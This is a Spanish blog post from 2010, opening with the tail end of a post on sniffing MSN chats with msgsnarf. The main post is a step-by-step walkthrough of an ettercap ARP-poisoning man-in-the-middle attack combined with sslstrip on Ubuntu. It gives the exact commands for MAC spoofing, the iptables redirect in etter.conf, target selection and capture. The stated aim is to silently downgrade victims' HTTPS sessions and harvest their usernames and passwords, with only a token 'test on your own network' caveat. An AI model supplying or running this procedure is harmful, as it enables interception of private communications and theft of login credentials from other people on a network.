Buscar el puerto 1864 o 1863, si los hay o no los hay. Estais de suerte... hay una cotorra en la red.

Para capturar y mostrar en pantalla quien habla y lo que dice abriremos una nueva terminal y escribiremos lo siguiente:

scorpyo@NASA:~$ sudo msgsnarf -i wlan0 

Y listo, os aconsejo que pongáis la ventana a tamaño completo y veréis mejor las conversaciones... (no abuséis, solo es para probar en vuestra red)
Bien, pues eso es todo, solo un concejo, para terminar la escucha de msgsnarf
apretar Ctrl+c y para parar a ettercap primero pinchamos en “Mitm” luego en "Stop mitm attacks(s)" si no hacéis eso al cerrar el programa las víctimas perderán la conexión a internet puesto que TÚ eras su router hasta hacía unos segundos ¿recuerdas? jejeje pues eso.

Un saludo a todos.


viernes, 19 de noviembre de 2010

Como extraer correctamente información de un cliente conectado a un router Usando UBUNTU


Este tutorial se concentrará en la suplantación de paginas web seguras para convertirlas en no seguras, es decir pasar de "https" a "http"

Al contrario que muchos internautas, yo soy de los que opinan que las paginas SSL son seguras,(de momento) el problema no es la encriptación, si no la poca atención por parte de los usuarios de preocuparse de ver si la página en la que están escribiendo o introduciendo datos es segura o no.

Todo el tutorial esta rodado en una maquina con linux. En concreto la distro de Ubuntu 10.04

Los programas que usaremos son ettercap y sslstrip:

¿Que por qué no usar solo ettercap si ya este tiene su propio Plugin para manipular paginas web https y pasárselas al cliente?

Pues muy sencillo porque normalmente los navegadores como mozilla montan un circo para avisar al usuario de que la pagina que visitan no es totalmente segura, que si que si, que tiene su certificado en regla y sin caducar, que es conocido peeeeeeero, no se está totalmente seguro de su procedencia.
En este caso es el usuario el que debe elegir si aceptar el certificado sospechoso y morder el anzuelo, o no hacerlo.

La verdad, si usa mozilla, dudo que lo haga, si usa explorer.... tal vez, porque el aviso de explorer no es tan impactante y parece mas bien una más de sus
ventanas de aviso como las de (¡cuando manda información a Internet esta podría ser vista por otras personas!)

Por todo eso utilizaremos sslstrip, que básicamente lo que hace es escuchar un puerto por el que se comunica un cliente al que se le este haciendo un ataque ARP Poison y controlar su tráfico, cuando encuentra una web en https la intercepta, la cambia a http y la devuelve al cliente. De esta manera, el cliente tras solicitar acceso a una web segura, lo que obtendrá es una web no segura, eso sí, con su candadito para que parezca que sí lo es.

Bueno, vamos al lío:

Sslstrip está escrito en Python y es necesario tenerlo instalado en la máquina en la que se ejecute para que pueda funcionar, así que si tu distro no lo posée ya instalado, te lo puedes instalar mediante repositorios.

Código:

scorpyo@PCito:~$ sudo apt-get install python


Para instalar sslstrip creo que no aparece en los repositorios, así que googlea y descargarlo.

Descomprimirlo y hacer un "cd" a la carpeta donde esté descomprimido.

Código:

scorpyo@PCito:~$ tar zxvf sslstrip-0.7.tar.gz
scorpyo@PCito:~$ cd sslstrip-0.7

Este programa se puede correr sin istalarlo pero recomiendo su instalacion porque es mucho mas sencillo de tipear, y ademas si no lo instalas tienes que estar en la misma carpeta donde se encuentra para ejecutarlo.

Para instalarlo usar la manera siguiente:

scorpyo@PCito:~$ sudo python setup.py install

De esta manera no habrá que abrirlo con el comando python nunca más.

De acuerdo, ya que tenemos listo nuestro sslstrip vamos con ettercap...

Primero descargaremos ettercap y lo instalaremos, dicen que si lo haces mediante repositorios no se instalan todos los plugins pero la verdad, yo lo hice mediante repositorios y me funcionó:

Código:

scorpyo@PCito:~$ sudo apt-get install ettercap

Ahora viene una parte que yo me he inventado para hacer menos problemático el uso de estos dos programas a la vez.

Puesto que sslstrip usa iptables y hay que configurarlas antes de lanzar el ataque pues lo que hacemos es modificar el etter.conf para que haga ese trabajo por nosotros ;)

Para que ettercap trabaje conjuntamente con sslstrip hacer lo siguiente:

Modificar el archivo etter.conf que se encuentra en /etc/etter.conf, hacedlo así y como root:

Código:

scorpyo@PCito:~$ sudo gedit /etc/etter.conf

Modificar y volver a comentar las lineas (si estan descomentadas) de iptable y ahora crear una nueva para redirecconar al puerto por defecto de sslstrip, para que lo veáis mejor y lo comprendáis pondré el fragmento del archivo que queda modificado:

Nota: Una linea comentada es la que tiene el símbolo "#" al principio. Si está comenteada (tiene almoadilla al principio) el sistema la ignora.
Original:

#---------------
# Linux
#---------------

# if you use ipchains:
#redir_command_on = "ipchains -A input -i %iface -p tcp -s 0/0 -d 0/0 %port -j REDIRECT %rport"
#redir_command_off = "ipchains -D input -i %iface -p tcp -s 0/0 -d 0/0 %port -j REDIRECT %rport"

# if you use iptables:
#redir_command_on = "iptables -t nat -A PREROUTING -i %iface -p tcp --dport %port -j REDIRECT --to-port %rport"
#redir_command_off = "iptables -t nat -D PREROUTING -i %iface -p tcp --dport %port -j REDIRECT --to-port %rport"




Modificado:

#---------------
# Linux
#---------------

# if you use ipchains:
#redir_command_on = "ipchains -A input -i %iface -p tcp -s 0/0 -d 0/0 %port -j REDIRECT %rport"
#redir_command_off = "ipchains -D input -i %iface -p tcp -s 0/0 -d 0/0 %port -j REDIRECT %rport"

# if you use iptables:
#redir_command_on = "iptables -t nat -A PREROUTING -i %iface -p tcp --dport %port -j REDIRECT --to-port %rport"
#redir_command_off = "iptables -t nat -D PREROUTING -i %iface -p tcp --dport %port -j REDIRECT --to-port %rport"

# Si usas modificacion de iptables para sslstrip descomenta esta linea:
redir_command_on = "iptables -t nat -A PREROUTING -i %iface -p tcp --destination-port 80 -j REDIRECT --to-port 10000"




la linea ya viene descomentada, así que solo pegarla y listo.

Bien, ahora que ya tienes ettercap listo vamos a preparar nuestra tarjeta. Para los que no tienen aplicación para conectarse a una red de forma gráfica que no se preocupen, pongo todo el código que hay que escribir para conectarse a un AP (Punto de Acceso):

Nota: Donde yo he puesto “wlan0” vosotros poner la tarjeta que esteis usando, ejemplo eth0 o wlan1....


Entrar como root:

Nota: Con este comando ya no tendrás que ponerte en modo root más a no ser que cierres la ventana ;)

scorpyo@PCcito:~$ sudo -s


Desactivo la tarjeta que voy a usar para cambiarle la MAC y ponerla en modo Promiscuo:

root@PCcito:~# ifconfig wlan0 down

root@PCcito:~# macchanger -m 00:11:22:33:44:55 wlan0

Current MAC: 00:12:34:56:78:90 (unknown)
Faked MAC: 00:11:22:33:44:55 (Cimsys Inc)

root@PCcito:~# ifconfig wlan0 promisc

root@PCcito:~# ifconfig wlan0

wlan0 Link encap:Ethernet direcciónHW 00:11:22:33:44:55
DIFUSIÓN SINAVANCES PROMISCUO ALLMULTI MTU:1500 Métrica:1
Paquetes RX:0 errores:0 perdidos:0 overruns:0 frame:0
Paquetes TX:0 errores:0 perdidos:0 overruns:0 carrier:0
colisiones:0 long.colaTX:1000
Bytes RX:0 (0 KB) TX bytes: (0 KB)
Interrupción:17 Memoria:f83d8000-f83d8100

root@PCcito:~# ifconfig wlan0 up

Ahora busco donde conectarme mediante consola (el que tenga modo gráfico que lo haga como quiera):

root@PCcito:~# iwlist wlan0 scanning

Y ahora me conecto por ejemplo con el ESSID Router1 con la clave hexadecimal 25:d2:45:89:74 (Evidentemente la clave de la red a la que te conectes tienes que saberla... jejeje)

root@PCcito:~# iwconfig wlan0 essid Router1

root@PCcito:~# iwconfig wlan0 key 25:d2:45:89:74

Nota: si la clave es en texto normal pues tendras que poner "s:" despues del comando key sería así: (root@PCcito:~# iwconfig wlan0 key s:25:d2:45:89:74)

Si es necesario se rellena el campo AP (Access Point) si no se hizo automáticamente, lo hacemos así:

root@PCcito:~# iwconfig wlan0 ap 00:02:51:24:46:e4

Listo, ahora que tenemos rellenos todo los datos correctamente solicitamos la conexión así para que se nos asigne una ip y una puerta de enlace:

root@PCcito:~# dhcpclient wlan0

Si todo ha salido bién, pondrá que la conexión está hecha y que es válida durante xxxxxxx segundos

Bién, ya puedo abrir el ettercap en modo Curse:

root@PCcito:~# ettercap -C -i wlan0

Ahora que está abierto vamos a “Sniff” y elegimos “Unified sniffing... U”

Aquí, debería de salir nuestra tarjeta ya introducida, pero si no es correcta porque nos equivocamos en el comando se puede cambiar directamente escribiendo y dandole al enter.



Ahora, lo que haremos es escanear los host, le damos a “Host” y a “Scan for hots” una vez hecho, volvemos a darle a “Host” y a “Host list” para ver la lista.

Llegado este punto, tenemos dos opciones, atacar toda la red, o solo a un equipo, si lo que queremos es atacar toda la red nos saltaremos este paso:

Primero selecciono el Host victima y apretamos el número 1 de nuestro teclado, y luego el Router y apretamos el 2 y quedaría algo así:

Target1: Equipo1
Target2: Router

Nota: Normalmente el router es el que tiene una ip más baja, una muy común es la 192.168.1.1 o 192.168.0.1

Ahora, lo que haremos será ponerlo a Snifar dandole a “Start” y a “Start sniffing” y luego hacemos el ataque ARP Poison (Envenenamiento ARP) pinchamos en “Mitm” y a “ARP pisoning...” en la ventana que nos sale ponemos "remote" sin las comillas y le damos al enter

Ahora correremos sslstrip:

Abrir una terminal nueva, para los que lo tienen instalado tan solo escribir en modo root:

root@PCcito:~# sslstrip -w captura-ssl -s -k -f &
root@PCcito:~# tail -f captura-ssl


Para los que no lo instalaron deberán de ir a la carpeta donde se descomprimió y escribir:

root@PCcito:~# python sslstrip-py -w captura-ssl -s -k -f &
root@PCcito:~# tail -f captura-ssl

Listo!

Ya están los dos programas trabajando conjuntamente.

Por alguna extraña razón, a mi no me aparecen en la ventana de ettercap las contraseñas y usuarios que se introducen en las paginas modificadas por sslstrip así que yo, por lo menos dependo de ejecutar el comando "tail -f captura-sslstrip" para ver el archivo en tiempo real y esperar a ver que entre texto.

Si puedes ver las contraseñas en ettercap, omite el ultimo comando para no tener que buscar el nombre y la contraseña entre tanto texto. ;) eso es todo.

PD: Solo un concejo, para terminar la escucha de sslstrip apretar Ctrl+c y para parar a ettercap primero pinchamos en “Mitm” luego en "Stop mitm attacks(s)" si no hacéis eso al cerrar el programa las víctimas perderán la conexión a internet puesto que TÚ eres su router mientras este activo el ataque mitm, jejeje pues eso.

Espero que os sirva.

Mis agradecimientos a la web http://www.lapipaplena.com donde me ayudaron a iniciarme con todo esto y en especial a Pep al que no he parado de contar mis avances.